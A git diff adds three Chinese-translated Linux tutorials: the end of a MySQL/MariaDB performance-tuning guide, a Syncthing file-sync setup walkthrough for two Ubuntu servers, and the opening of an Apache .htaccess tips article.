+你需要设置 my.cnf 中的此项: + + innodb_buffer_pool_size + +### 4. 在 MySQL 中避免使用 Swappiness ### + +“交换”是一个当系统移动部分内存到一个称为 “交换空间” 的特殊磁盘空间时的过程。通常当你的系统用完物理内存后就会出现这种情况,系统将信息写入磁盘而不是释放一些内存。正如你猜测的磁盘比你的内存要慢得多。 + +该选项默认情况下是启用的: + + # sysctl vm.swappiness + + vm.swappiness = 60 + +运行以下命令关闭 swappiness: + + # sysctl -w vm.swappiness=0 + +### 5. 设置 MySQL 的最大连接数 ### + +`max_connections` 指令告诉你当前你的服务器允许多少并发连接。MySQL/MariaDB 服务器允许有 SUPER 权限的用户在最大连接之外再建立一个连接。只有当执行 MySQL 请求的时候才会建立连接,执行完成后会关闭连接并被新的连接取代。 + +请记住,太多的连接会导致内存的使用量过高并且会锁住你的 MySQL 服务器。一般小网站需要 100-200 的连接数,而较大可能需要 500-800 甚至更多。这里的值很大程度上取决于你 MySQL/MariaDB 的使用情况。 + +你可以动态地改变 `max_connections` 的值而无需重启MySQL服务器: + + # mysql -u root -p + mysql> set global max_connections = 300; + +### 6. 配置 MySQL 的线程缓存数量 ### + + `thread_cache_size` 指令用来设置你服务器缓存的线程数量。当客户端断开连接时,如果当前线程数小于 `thread_cache_size`,它的线程将被放入缓存中。下一个请求通过使用缓存池中的线程来完成。 + +要提高服务器的性能,你可以设置 `thread_cache_size` 的值相对高一些。你可以通过以下方法来查看线程缓存命中率: + + mysql> show status like 'Threads_created'; + mysql> show status like 'Connections'; + +你可以用以下公式来计算线程池的命中率: + + 100 - ((Threads_created / Connections) * 100) + +如果你得到一个较低的数字,这意味着大多数 mysql 连接使用新的线程,而不是从缓存加载。在这种情况下,你需要增加 `thread_cache_size`。 + +这里有一个好处是可以动态地改变 `thread_cache_size` 而无需重启 MySQL 服务。你可以通过以下方式来实现: + + mysql> set global thread_cache_size = 16; + +### 7. 禁用 MySQL 的 DNS 反向查询 ### + +默认情况下当新的连接出现时,MySQL/MariaDB 会进行 DNS 查询解析用户的 IP 地址/主机名。对于每个客户端连接,它的 IP 都会被解析为主机名。然后,主机名又被反解析为 IP 来验证两者是否一致。 + +当 DNS 配置错误或服务器出现问题时,这很可能会导致延迟。这就是为什么要关闭 DNS 的反向查询的原因,你可以在你的配置文件中添加以下选项去设定: + + [mysqld] + # Skip reverse DNS lookup of clients + skip-name-resolve + +更改后你需要重启 MySQL 服务。 + +### 8. 配置 MySQL 的查询缓存容量 ### + +如果你有很多重复的查询并且数据不经常改变 – 请使用缓存查询。 人们常常不理解 `query_cache_size` 的实际含义而将此值设置为 GB 级,这实际上会降低服务器的性能。 + +背后的原因是,在更新过程中线程需要锁定缓存。通常设置为 200-300 MB应该足够了。如果你的网站比较小的,你可以尝试给 64M 并在以后及时去增加。 + +在你的 MySQL 配置文件中添加以下设置: + + query_cache_type = 1 + query_cache_limit = 256K + query_cache_min_res_unit = 2k + query_cache_size = 80M + +### 9. 配置临时表容量和内存表最大容量 ### + +`tmp_table_size` 和 `max_heap_table_size` 这两个变量的大小应该相同,它们可以让你避免磁盘写入。`tmp_table_size` 是内置内存表的最大空间。如果表的大小超出限值将会被转换为磁盘上的 MyISAM 表。 + +这会影响数据库的性能。管理员通常建议在服务器上设置这两个值为每 GB 内存给 64M。 + + [mysqld] + tmp_table_size= 64M + max_heap_table_size= 64M + +### 10. 启用 MySQL 慢查询日志 ### + +记录慢查询可以帮助你定位数据库中的问题并帮助你调试。这可以通过在你的 MySQL 配置文件中添加以下值来启用: + + slow-query-log = 1 + slow-query-log-file = /var/lib/mysql/mysql-slow.log + long_query_time = 1 + +第一个变量启用慢查询日志,第二个告诉 MySQL 实际的日志文件存储位置。使用 `long_query_time` 来定义完成 MySQL 查询多少用时算长。 + +### 11. 检查 MySQL 的空闲连接 ### + +空闲连接会消耗资源,可以的话应该被终止或者刷新。空闲连接是指处于 “sleep” 状态并且保持了很长一段时间的连接。你可以通过运行以下命令查看空闲连接: + + # mysqladmin processlist -u root -p | grep “Sleep” + +这会显示处于睡眠状态的进程列表。当代码使用持久连接到数据库时会出现这种情况。使用 PHP 调用 mysql_pconnect 可以打开这个连接,执行完查询之后,删除认证信息并保持连接为打开状态。这会导致每个线程的缓冲都被保存在内存中,直到该线程结束。 + +首先你要做的就是检查代码问题并修复它。如果你不能访问正在运行的代码,你可以修改 `wait_timeout` 变量。默认值是 28800 秒,而你可以安全地将其降低到 60 : + + wait_timeout=60 + +### 12. 为 MySQL 选择正确的文件系统 ### + +选择正确的文件系统对数据库至关重要。在这里你需要考虑的最重要的事情是 - 数据的完整性,性能和易管理性。 + +按照 MariaDB 的建议,最好的文件系统是XFS、ext4 和 Btrfs。它们都是可以使用超大文件和大容量存储卷的企业级日志型文件系统。 + +下面你可以找到一些关于这三个文件系统的有用信息: + +| 文件系统 | XFS | Ext4 | Btrfs | +|---------------|-----|------|-------| +| 文件系统最大容量 | 8EB | 1EB | 16EB | +| 最大文件大小 | 8EB | 16TB | 16EB | + + +我们的这篇文章详细介绍了 Linux 文件系统的利与弊: [Linux 文件系统解析][7]。 + +### 13. 设置 MySQL 允许的最大数据包 ### + +MySQL 把数据拆分成包。通常一个包就是发送到客户端的一行数据。`max_allowed_pa​​cket` 变量定义了可以被发送的最大的包。 + +此值设置得过低可能会导致查询速度变得非常慢,然后你会在 MySQL 的错误日志看到一个错误。建议将该值设置为最大包的大小。 + +### 14. 测试 MySQL 的性能优化 ### + +你应该定期检查 MySQL/MariaDB 的性能。这将帮助你了解资源的使用情况是否发生了改变或需要进行改进。 + +有大量的测试工具可用,但我推荐你一个简单易用的。该工具被称为 mysqltuner。 + +使用下面的命令下载并运行它: + + # wget https://github.com/major/MySQLTuner-perl/tarball/master + # tar xf master + # cd major-MySQLTuner-perl-993bc18/ + # ./mysqltuner.pl + +你将收到有关 MySQL 使用的详细报告和推荐提示。下面是默认 MariaDB 安装的输出样例: + +![MySQL 性能优化](http://www.tecmint.com/wp-content/uploads/2015/06/MySQL-Performance-Tuning.png) + +### 15. 优化和修复 MySQL 数据库 ### + +有时候 MySQL/MariaDB 数据库中的表很容易崩溃,尤其是服务器意外关机、文件系统突然崩溃或复制过程中仍然访问数据库。幸运的是,有一个称为 'mysqlcheck' 的免费开源工具,它会自动检查、修复和优化 Linux 中数据库的所有表。 + + # mysqlcheck -u root -p --auto-repair --check --optimize --all-databases + # mysqlcheck -u root -p --auto-repair --check --optimize databasename + +就是这些!我希望上述文章对你有用,并帮助你优化你的 MySQL 服务器。一如往常,如果你有任何疑问或评论,请在下面的评论部分提交。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/mysql-mariadb-performance-tuning-and-optimization/ + +作者:[Marin Todorov][a] +译者:[strugglingyouth](https://github.com/strugglingyouth) +校对:[ictlyh](https://github.com/ictlyh) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/marintodorov89/ +[1]:http://www.tecmint.com/install-lamp-in-centos-7/ +[2]:http://www.tecmint.com/install-lamp-linux-apache-mysql-php-on-fedora-22/ +[3]:http://www.tecmint.com/install-lamp-on-ubuntu-15-04/ +[4]:http://www.tecmint.com/install-mariadb-in-debian/ +[5]:http://www.tecmint.com/install-lemp-in-gentoo-linux/ +[6]:http://www.tecmint.com/install-lamp-in-arch-linux/ +[7]:http://www.tecmint.com/linux-file-system-explained/ diff --git a/published/201507/20150121 Syncthing--A Private And Secure Tool To Sync Files or Folders Between Computers.md b/published/201507/20150121 Syncthing--A Private And Secure Tool To Sync Files or Folders Between Computers.md new file mode 100644 index 0000000000..73af381b22 --- /dev/null +++ b/published/201507/20150121 Syncthing--A Private And Secure Tool To Sync Files or Folders Between Computers.md @@ -0,0 +1,207 @@ +Syncthing: 一个在计算机之间同步文件/文件夹的私密安全同步工具 +================================================================================ +### 简介 ### + +**Syncthing**是一个免费开源的工具,它能在你的各个网络计算机间同步文件/文件夹。它不像其它的同步工具,如**BitTorrent Sync**和**Dropbox**那样,它的同步数据是直接从一个系统中直接传输到另一个系统的,并且它是完全开源的,安全且私密的。你所有的珍贵数据都会被存储在你的系统中,这样你就能对你的文件和文件夹拥有全面的控制权,没有任何的文件或文件夹会被存储在第三方系统中。此外,你有权决定这些数据该存于何处,是否要分享到第三方,或这些数据在互联网上的传输方式。 + +所有的信息通讯都使用TLS进行加密,这样你的数据便能十分安全地逃离窥探。Syncthing有一个强大的响应式的网页管理界面(WebGUI,下同),它能够帮助用户简便地添加、删除和管理那些通过网络进行同步的文件夹。通过使用Syncthing,你可以在多个系统上一次同步多个文件夹。在安装和使用上,Syncthing是一个可移植的、简单而强大的工具。即然文件或文件夹是从一部计算机中直接传输到另一计算机中的,那么你就无需考虑向云服务供应商支付金钱来获取额外的云空间。你所需要的仅仅是非常稳定的LAN/WAN连接以及在你的系统中有足够的硬盘空间。它支持所有的现代操作系统,包括GNU/Linux, Windows, Mac OS X, 当然还有Android。 + +### 安装 ### + +基于本文的目的,我们将使用两个系统,一个是Ubuntu 14.04 LTS, 一个是Ubuntu 14.10 server。为了简单辨别这两个系统,我们将分别称其为**系统1**和**系统2**。 + +### 系统1细节: ### + +- **操作系统**: Ubuntu 14.04 LTS server; +- **主机名**: **server1**.unixmen.local; +- **IP地址**: 192.168.1.150. +- **系统用户**: sk (你可以使用你自己的系统用户) +- **同步文件夹**: /home/Sync/ (Syncthing会默认创建) + +### 系统2细节 ### + +- **操作系统**: Ubuntu 14.10 server; +- **主机名**: **server**.unixmen.local; +- **IP地址**: 192.168.1.151. +- **系统用户**: sk (你可以使用你自己的系统用户) +- **同步文件夹**: /home/Sync/ (Syncthing会默认创建) + +### 在系统1和系统2上为Syncthing创建用户 ### + +在两个系统上运行下面的命令来为Syncthing创建用户以及两系统间的同步文件夹。 + + sudo useradd sk + sudo passwd sk + +### 为系统1和系统2安装Syncthing ### + +在系统1和系统2上遵循以下步骤进行操作。 + +从[官方下载页][1]上下载最新版本。我使用的是64位版本,因此下载64位版的软件包。 + + wget https://github.com/syncthing/syncthing/releases/download/v0.10.20/syncthing-linux-amd64-v0.10.20.tar.gz + +解压缩下载的文件: + + tar xzvf syncthing-linux-amd64-v0.10.20.tar.gz + +切换到解压缩出来的文件夹: + + cd syncthing-linux-amd64-v0.10.20/ + +复制可执行文件"syncthing"到**$PATH**: + + sudo cp syncthing /usr/local/bin/ + +现在,执行下列命令来首次运行Syncthing: + + syncthing + +当你执行上述命令后,syncthing会生成一个配置以及一些配置键值,并且在你的浏览器上打开一个管理界面。 + +输入示例: + + [monitor] 15:40:27 INFO: Starting syncthing + 15:40:27 INFO: Generating RSA key and certificate for syncthing... + [BQXVO] 15:40:34 INFO: syncthing v0.10.20 (go1.4 linux-386 default) unknown-user@syncthing-builder 2015-01-13 16:27:47 UTC + [BQXVO] 15:40:34 INFO: My ID: BQXVO3D-VEBIDRE-MVMMGJI-ECD2PC3-T5LT3JB-OK4Z45E-MPIDWHI-IRW3NAZ + [BQXVO] 15:40:34 INFO: No config file; starting with empty defaults + [BQXVO] 15:40:34 INFO: Edit /home/sk/.config/syncthing/config.xml to taste or use the GUI + [BQXVO] 15:40:34 INFO: Starting web GUI on http://127.0.0.1:8080/ + [BQXVO] 15:40:34 INFO: Loading HTTPS certificate: open /home/sk/.config/syncthing/https-cert.pem: no such file or directory + [BQXVO] 15:40:34 INFO: Creating new HTTPS certificate + [BQXVO] 15:40:34 INFO: Generating RSA key and certificate for server1... + [BQXVO] 15:41:01 INFO: Starting UPnP discovery... + [BQXVO] 15:41:07 INFO: Starting local discovery announcements + [BQXVO] 15:41:07 INFO: Starting global discovery announcements + [BQXVO] 15:41:07 OK: Ready to synchronize default (read-write) + [BQXVO] 15:41:07 INFO: Device BQXVO3D-VEBIDRE-MVMMGJI-ECD2PC3-T5LT3JB-OK4Z45E-MPIDWHI-IRW3NAZ is "server1" at [dynamic] + [BQXVO] 15:41:07 INFO: Completed initial scan (rw) of folder default + +Syncthing已经被成功地初始化了,网页管理接口也可以通过浏览器访问URL: **http://localhost:8080**。如上面输入所看到的,Syncthing在你的**home**目录中的Sync目录**下自动为你创建了一个名为**default**的文件夹。 + +默认情况下,Syncthing的网页管理界面只能在本地端口(localhost)中进行访问,要从远程进行访问,你需要在两个系统中进行以下操作: + +首先,按下CTRL+C键来终止Syncthing初始化进程。现在你回到了终端界面。 + +编辑**config.xml**文件, + + sudo nano ~/.config/syncthing/config.xml + +找到下面的指令: + + [...] + +
127.0.0.1:8080
+ -Su9v0lW80JWybGjK9vNK00YDraxXHGP +
+ [...] + +在**
**区域中,把**127.0.0.1:8080**改为**0.0.0.0:8080**。结果,你的config.xml看起来会是这样的: + + +
0.0.0.0:8080
+ -Su9v0lW80JWybGjK9vNK00YDraxXHGP +
+ +保存并关闭文件。 + +在两个系统上再次执行下述命令: + + syncthing + +### 访问网页管理界面 ### + +现在,在你的浏览器上打开**http://ip-address:8080/**。你会看到下面的界面: + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Syncthing-server1-Mozilla-Firefox_001.png) + +网页管理界面分为两个窗格,在左窗格中,你应该可以看到同步的文件夹列表。如前所述,文件夹**default**在你初始化Syncthing时被自动创建。如果你想同步更多文件夹,点击**Add Folder**按钮。 + +在右窗格中,你可以看到已连接的设备数。现在这里只有一个,就是你现在正在操作的计算机。 + +### 网页管理界面上设置Syncthing ### + +为了提高安全性,让我们启用TLS,并且设置访问网页管理界面的管理员用户和密码。要做到这点,点击右上角的齿轮按钮,然后选择**Settings** + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Menu_002.png) + +输入管理员的帐户名/密码。我设置的是admin/Ubuntu。你应该使用一些更复杂的密码。 + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Syncthing-server1-Mozilla-Firefox_004.png) + +点击Save按钮,现在,你会被要求重启Syncthing使更改生效。点击Restart。 + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Selection_005.png) + +刷新你的网页浏览器。你可以看到一个像下面一样的SSL警告。点击显示**我了解风险(I understand the Risks)**的按钮。接着,点击“添加例外(Add Exception)“按钮把当前页面添加进浏览器的信任列表中。 + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Untrusted-Connection-Mozilla-Firefox_006.png) + +输入前面几步设置的管理员用户和密码。我设置的是**admin/ubuntu**。 + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Authentication-Required_007.png) + +现在,我们提高了网页管理界面的安全性。别忘了两个系统都要执行上面同样的步骤。 + +### 连接到其它服务器 ### + +要在各个系统之间同步文件,你必须各自告诉它们其它服务器的信息。这是通过交换设备IDs(device IDs)来实现的。你可以通过选择“齿轮菜单(gear menu)”(在右上角)中的”Show ID(显示ID)“来找到它。 + +例如,下面是我系统1的ID. + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Syncthing-server1-Mozilla-Firefox_008.png) + +复制这个ID,然后到另外一个系统(系统2)的网页管理界面,在右边窗格点击Add Device按钮。 + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Syncthing-server-Mozilla-Firefox_010.png) + +接着会出现下面的界面。在Device区域粘贴**系统1 ID **。输入设备名称(可选)。在地址区域,你可以输入其它系统( LCTT 译注:即粘贴的ID所属的系统,此应为系统1)的IP地址,或者使用默认值。默认值为**dynamic**。最后,选择要同步的文件夹。在我们的例子中,同步文件夹为**default**。 + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Syncthing-server-Mozilla-Firefox_009.png) + +一旦完成了,点击save按钮。你会被要求重启Syncthing。点击Restart按钮重启使更改生效。 + +现在,我们到**系统1**的网页管理界面,你会看到来自系统2的连接和同步请求。点击**Add**按钮。现在,系统2会要求系统1分享和同步名为default的文件夹。 + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Selection_013.png) + +接着重启系统1的Syncthing服务使更改生效。 + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Selection_014.png) + +等待大概60秒,接着你会看到两个系统之间已成功连接并同步。 + +你可以在网页管理界面中的Add Device区域核实该情况。 + +添加系统2后,系统1网页管理界面中的控制窗口如下: + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Syncthing-server-Mozilla-Firefox_016.png) + +添加系统1后,系统2网页管理界面中的控制窗口如下: + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Syncthing-server-Mozilla-Firefox_018.png) + +![](http://www.unixmen.com/wp-content/uploads/2015/01/Syncthing-server-Mozilla-Firefox_018.png) + +现在,在任一个系统中的“**default**”文件夹中放进任意文件或文件夹。你应该可以看到这些文件/文件夹被自动同步到其它系统。 + +本文完!祝同步愉快! + +噢耶!!! + +- [Syncthing网站][2] + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/syncthing-private-secure-tool-sync-filesfolders-computers/ + +作者:[SK][a] +译者:[XLCYun](https://github.com/XLCYun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:https://github.com/syncthing/syncthing/releases/tag/v0.10.20 +[2]:http://syncthing.net/ diff --git a/published/201507/20150127 25 Useful Apache '.htaccess' Tricks to Secure and Customize Websites.md b/published/201507/20150127 25 Useful Apache '.htaccess' Tricks to Secure and Customize Websites.md new file mode 100644 index 0000000000..7f3747721f --- /dev/null +++ b/published/201507/20150127 25 Useful Apache '.htaccess' Tricks to Secure and Customize Websites.md @@ -0,0 +1,423 @@ +25 个有用 Apache ‘.htaccess’ 技巧 +================================================================================ +网站是我们生活中重要的一部分。它们是实现扩大业务、分享知识以及其它更多功能的方式。早期受制于只能提供静态内容,随着动态客户端和服务器端脚本语言的引入和现有静态语言的持续改进,例如从 html 到 html5,动态网站成为可能,剩下的也许在不久的将来也会实现。 + +对于网站,随之而来的是需要一个能向全球大规模用户显示站点的某个东西。这个需求可以通过托管网站的服务器实现。这包括一系列的服务器,例如:Apache HTTP Server、Joomla 以及 允许个人拥有自己网站的 WordPress。 + +![Apache htaccess 小技巧](http://www.tecmint.com/wp-content/uploads/2015/01/htaccess-tricks.jpg) + +*25 个 htaccess 小技巧* + +想要拥有一个网站,可以创建一个自己的本地服务器,或者联系任何上面提到的或其它服务器管理员来托管他的网站。但实际问题也从这点开始。网站的性能主要取决于以下因素: + +- 网站消耗的带宽。 +- 面对黑客,网站有多安全。 +- 对数据库进行数据检索时的优化。 +- 显示导航菜单和提供更多 UI 功能时的用户友好性。 + +除此之外,保证托管网站服务器成功的多种因素还包括: + +- 对于一个流行站点的数据压缩量。 +- 同时为多个对请求同一或不同站点的用户服务的能力。 +- 保证网站上输入的机密数据安全,例如:Email、信用卡信息等等。 +- 允许更多的选项用于增强站点的动态性。 + +这篇文章讨论一个服务器提供的用于增强网站性能和提高针对坏机器人、热链等的安全性的功能:‘.htaccess’ 文件。 + +### .htaccess 是什么? ### + +htaccess (hypertext access,超文本访问) 是为网站所有者提供用于控制服务器环境变量以及其它参数的选项,从而增强他们网站的功能的文件。这些文件可以在网站目录树的任何一个目录中,并向该目录以及目录中的文件和子目录提供功能。 + +这些功能是什么呢?其实这些是服务器的指令,例如命令服务器执行特定任务的行,这些命令只对该文件所在目录中的文件和子目录有效。这些文件默认是隐藏的,因为所有操作系统和网站服务器默认配置为忽略它们,但如果查看隐藏文件的话,你就可以看到这些特殊文件。后续章节的话题将讨论能控制什么类型的参数。 + +注意:如果 .htaccess 文件保存在 /apache/home/www/Gunjit/ 目录,那么它会向该目录中的所有文件和子目录提供命令,但如果该目录包含一个名为 /Gunjit/images/ 子目录,且该子目录中也有一个 .htaccess 文件,那么这个子目录中的命令会覆盖父目录中 .htaccess 文件(或者目录层次结构中更上层的文件)提供的命令。 + +### Apache Server 和 .htaccess 文件 ### + +Apache HTTP Server 俗称为 Apache,是为了表示对一个有卓越战争策略技能的美洲土著部落的尊敬而命名。它基于 [NCSA HTTPd 服务器][1] ,是用 C/C++ 和 XML 建立的跨平台 Web 服务器,它在万维网的成长和发展中起到了关键作用。 + +它最常用于 UNIX,但 Apache 也能用于多种平台,包括 FreeBSD、Linux、Windows、Mac OS、Novel Netware 等。在 2009 年,Apache 成为第一个为超过一亿站点提供服务的服务器。 + +Apache 服务器可以让 www/ 目录中的每个用户有一个单独的 .htaccess 文件。尽管这些文件是隐藏的,但如果需要的话可以使它们可见。在 www/ 目录中可以有很多子目录,每个子目录通过用户名或所有者名称命名,包含了一个站点。除此之外你可以在每个子目录中有一个 .htaccess 文件,像之前所述用于配置子目录中的文件。 + +下面介绍如果配置 Apache 服务器上的 htaccess 文件。 + +### Apache 服务器上的配置 ### + +这里有两种情况: + +#### 在自己的服务器上托管网站 #### + +在这种情况下,如果没有启用 .htaccess 文件,你可以通过在 http.conf(Apache HTTP 守护进程的默认配置文件) 中找到 部分启用。 + + + +定位如下行 + + AllowOverride None + +更改为 + + AllowOverride All + +现在,重启 Apache 后就启用了 .htaccess。 + +#### 在不同的托管服务提供商的服务器上托管网站 #### + +在这种情况下最好咨询托管管理员,如果他们允许访问 .htaccess 文件的话。 + +### 用于网站的 25 个 Apache Web 服务器 ‘.htaccess’ 小技巧 ### + +#### 1. 如何在 .htaccess 文件中启用 mod_rewrite #### + +mod_rewrite 选项允许你使用重定向并通过重定向到其它 URL 来隐藏你真实的 URL。这个选项非常有用,允许你用短的容易记忆的 URL 替换长 URL。 + +要允许 mod_rewrite,只需要在你的 .htaccess 文件的第一行添加如下一行。 + + Options +FollowSymLinks + +该选项允许你跟踪符号链接从而在站点中启用 mod_rewrite。后面会介绍用短 URL 替换。(LCTT 译注:+FollowSymLinks 只是启用 mod_rewrite 的前提之一,还需要在全局和虚拟机中设置 `RewriteEngine on` 才能启用重写模块。) + +#### 2. 如何允许或禁止对站点的访问 #### + +通过使用 order、allow 和 deny 关键字,htaccess 文件可以允许或者禁止对站点或目录中子目录或文件的访问。 + +**只允许 IP 192.168.3.1 的访问** + + Order Allow, Deny + Deny from All + Allow from 192.168.3.1 + + 或 + + Order Allow, Deny + Allow from 192.168.3.1 + +这里的 Order 关键字指定处理 allow 和 deny 访问的顺序。对于上面的 ‘Order’ 语句,首先会处理 Allow 语句,然后是 deny 语句。 + +**只禁止某个 IP 的访问** + +下面一行的意思是除了 IP 地址 192.168.3.1,允许所有用户访问网站。 + + Order Allow, Deny + Deny from 192.168.3.1 + Allow from All + + 或 + + Order Deny, Allow + Deny from 192.168.3.1 + +#### 3. 为不同错误码生成 Apache 错误文档 #### + +用简单几行,我们可以解决当用户/客户端请求一个站点上不可用的网页时服务器产生的错误码的错误文档,例如我们大部分人见过的浏览器中显示的 ‘404 Page not found’。‘.htaccess’ 文件指定了发生这些错误情况时采取何种操作。 + +要做到这点,需要添加下面的行到 ‘.htaccess’ 文件: + + ErrorDocument + +‘ErrorDocument’ 是一个关键字,error-code 可以是 401、403、404、500 或任何有效的表示错误的代码,最后 ‘path-of-document’ 表示本地机器上的路径(如果你使用的是你自己的本地服务器) 或服务器上的路径(如果你使用任何其它服务器来托管网站)。 + +**例子:** + + ErrorDocument 404 /error-docs/error-404.html + +上面一行设置客户请求任何无效页面,服务器报告 404 错误时显示 error-docs 目录下的 ‘error-404.html’ 文档。 + + ErrorDocument 404 "404 Page not found

The page you request is not present. Check the URL you have typed

" + +上面的表示也正确,其中字符串相当于一个普通的 html 文件。 + +#### 4. 设置/取消 Apache 服务器环境变量 #### + +在 .htaccess 文件中你可以设置或者取消站点所有者可以更改的全局环境变量。要设置或取消环境变量,你需要在你的 .htaccess 文件中添加下面的行。 + +**设置环境变量** + + SetEnv OWNER “Gunjit Khera” + +**取消环境变量** + + UnsetEnv OWNER + +#### 5. 为文件定义不同 MIME 类型 #### + +MIME(多用途 Internet 多媒体扩展)是浏览器运行任何页面所默认识别的类型。你可以在 .htaccess 文件中为你的站点定义 MIME 类型,然后服务器就可以识别你定义类型的文件并运行。 + + + AddType application/javascript js + AddType application/x-font-ttf ttf ttc + + +这里,mod_mime.c 是用于控制定义不同 MIME 类型的模块,如果在你的系统中已经安装了这个模块,那么你就可以用该模块去为你站点中不同的扩展名定义不同的 MIME 类型,从而让服务器可以理解这些文件。 + +#### 6. 如何在 Apache 中限制上传和下载的大小 #### + +.htaccess 文件允许你能够控制某个用户从你的站点(通过 PHP)单次上传数据量的大小(LCTT 译注:原文有误,修改)。要做到这点你只需要添加下面的行到你的 .htaccess 文件: + + php_value upload_max_filesize 20M + php_value post_max_size 20M + php_value max_execution_time 200 + php_value max_input_time 200 + +上面的行设置最大上传大小、最大POST 提交数据大小、最长执行时间(例如,允许用户在他的本地机器上单次执行一个请求的最大时间)、限制的最大输入时间。 + +#### 7. 让用户不能在你的站点上在线播放 .mp3 和其它文件 #### + +大部分情况下,人们在下载检查音乐质量之前会在网站上播放等等。作为一个聪明的销售者,你可以添加一个简单的功能,不允许任何用户在线播放音乐或视频,而是必须下载完成后才能播放。这非常有用,因为(无缓冲的)在线播放音乐和视频会消耗很多带宽。 + +要添加下面的行到你的 .htaccess 文件: + + AddType application/octet-stream .mp3 .zip + +#### 8. 为站点设置目录索引 #### + +大部分网站开发者都知道第一个显示的页面是哪个,例如一个站点的首页,被命名为 ‘index.html’。我们大部分也见过这个。但是如何设置呢? + +.htaccess 文件提供了一种方式用于列出一个客户端请求访问网站的主页面时会顺序扫描的一些网页集合,相应地如果找到了列出的页面中的任何一个就会作为站点的主页面并显示给用户。 + +需要添加下面的行产生所需的效果。 + + DirectoryIndex index.html index.php yourpage.php + +上面一行指定如果有任何访问首页的请求到来,首先会在目录中顺序搜索上面列出的网页:如果发现了 index.html 则显示为主页面,否则会找下一个页面,例如 index.php,如此直到你在列表中输入的最后一个页面。 + +#### 9. 如何为文件启用 GZip 压缩以节省网站带宽 #### + +繁忙的站点通常比只占少量空间的轻量级站点运行更慢,这是常见的现象。因为对于繁忙的站点需要时间加载巨大的脚本文件和图片以在客户端的 Web 浏览器上显示。 + +通常的机制是这样的,当浏览器请求一个 web 页面时,服务器提供给浏览器该页面,并在浏览器端显示该 web 页面,浏览器需要下载该页面并运行页面内的脚本。 + +这里 GZip 压缩所做的就是节省单个用户的服务时间而不用增加带宽。服务器上站点的源文件以压缩形式保存,当用户请求到来的时候,这些文件以压缩形式传送,然后在客户端上解压(LCTT 译注:原文此处有误)。这改善了带宽限制。 + +下面的行允许你压缩站点的源文件,但要求在你的服务器上安装 mod_deflate.c 模块。 + + + AddOutputFilterByType DEFLATE text/plain + AddOutputFilterByType DEFLATE text/html + AddOutputFilterByType DEFLATE text/xml + AddOutputFilterByType DEFLATE application/html + AddOutputFilterByType DEFLATE application/javascript + AddOutputFilterByType DEFLATE application/x-javascript + + +#### 10. 处理文件类型 #### + +服务器默认的有一些特定情况。例如:在服务器上运行 .php 文件,显示 .txt 文件。像这些我们可以以源代码形式只显示一些可执行 cgi 脚本或文件而不是执行它们(LCTT 译注:这是为了避免攻击者通过上传恶意脚本,进而在服务器上执行恶意脚本进行破坏和窃取)。 + +要做到这点在 .htaccess 文件中有如下行。 + + RemoveHandler cgi-script .php .pl .py + AddType text/plain .php .pl .py + +这些行告诉服务器只显示而不执行 .pl (perl 脚本)、.php (PHP 文件) 和 .py (Python 文件) 。 + +#### 11. 为 Apache 服务器设置时区 #### + +从 .htaccess 文件可用于为服务器设置时区可以看出它的能力和重要性。这可以通过设置一个服务器为每个托管站点提供的一系列全局环境变量中的 ‘TZ’ 完成。 + +由于这个原因,我们可以在网站上看到根据我们的时区显示的时间。也许服务器上其他拥有网站的人会根据他居住地点的位置设置时区。 + +下面的一行为服务器设置时区。 + + SetEnv TZ India/Kolkata + +#### 12. 如果在站点上启用缓存控制 #### + +浏览器很有趣的一个功能是,很多时间你可以看到,当多次同时打开一个网站和第一次打开相比前者会更快。但为什么会这样呢?事实上,浏览器在它的缓存中保存了一些通常访问的页面用于加快后面的访问。 + +但保存多长时间呢?这取决于你自己。例如,你的 .htaccess 文件中设置的缓存控制时间。.htaccess 文件指定了站点的网页可以在浏览器缓存中保存的时间,时间到期后需要重新验证缓存,页面可能会从缓存中删除然后在下次用户访问站点的时候重建。 + +下面的行为你的站点实现缓存控制。 + + + Header Set Cache-Control "max-age=3600, public" + + + Header Set Cache-Control "public" + Header Set Expires "Sat, 24 Jan 2015 16:00:00 GMT" + + +上面的行允许缓存 .htaccess 文件所在目录中的页面一小时。 + +#### 13. 配置单个文件 #### + +通常 .htaccess 文件中的内容会对该文件所在目录中的所有文件和子目录起作用,但是你也可以对特殊文件设置一些特殊权限,例如只禁止对某个文件的访问等等。 + +要做到这点,你需要在文件中以类似方式添加 \ 标记: + + + Order allow, deny + Deny from 188.100.100.0 + + +这是一个禁止 IP 188.100.100.0 访问 ‘conf.html’ 的简单例子,但是你也可以添加介绍过的 .htaccess 文件的任何功能,包括将要介绍的功能,例如:缓存控制、GZip 压缩。 + +大部分服务器会用这个功能增强 .htaccess 文件的安全,这也是我们在浏览器上看不到 .htaccess 文件的原因。在后面的章节中会介绍如何给文件授权。 + +#### 14. 启用在 cgi-bin 目录以外运行 CGI 脚本 #### + +通常服务器运行的 CGI 脚本都保存在 cgi-bin 目录中,但是你可以在你需要的目录运行 CGI 脚本,只需要在所需的目录中的 .htaccess 文件添加下面的行,如果没有该文件就创建一个,并添加下面的行: + + AddHandler cgi-script .cgi + Options +ExecCGI + +#### 15.如何用 .htaccess 在站点上启用 SSI #### + +服务器端包括(SSI)顾名思义是和服务器部分相关的东西。这是什么呢?通常当我们在站点上有很多页面的时候,我们在主页上会有一个显示到其它页面链接的导航菜单,我们可以启用 SSI 选项允许导航菜单中显示的所有页面完全包含在主页面中。 + +SSI 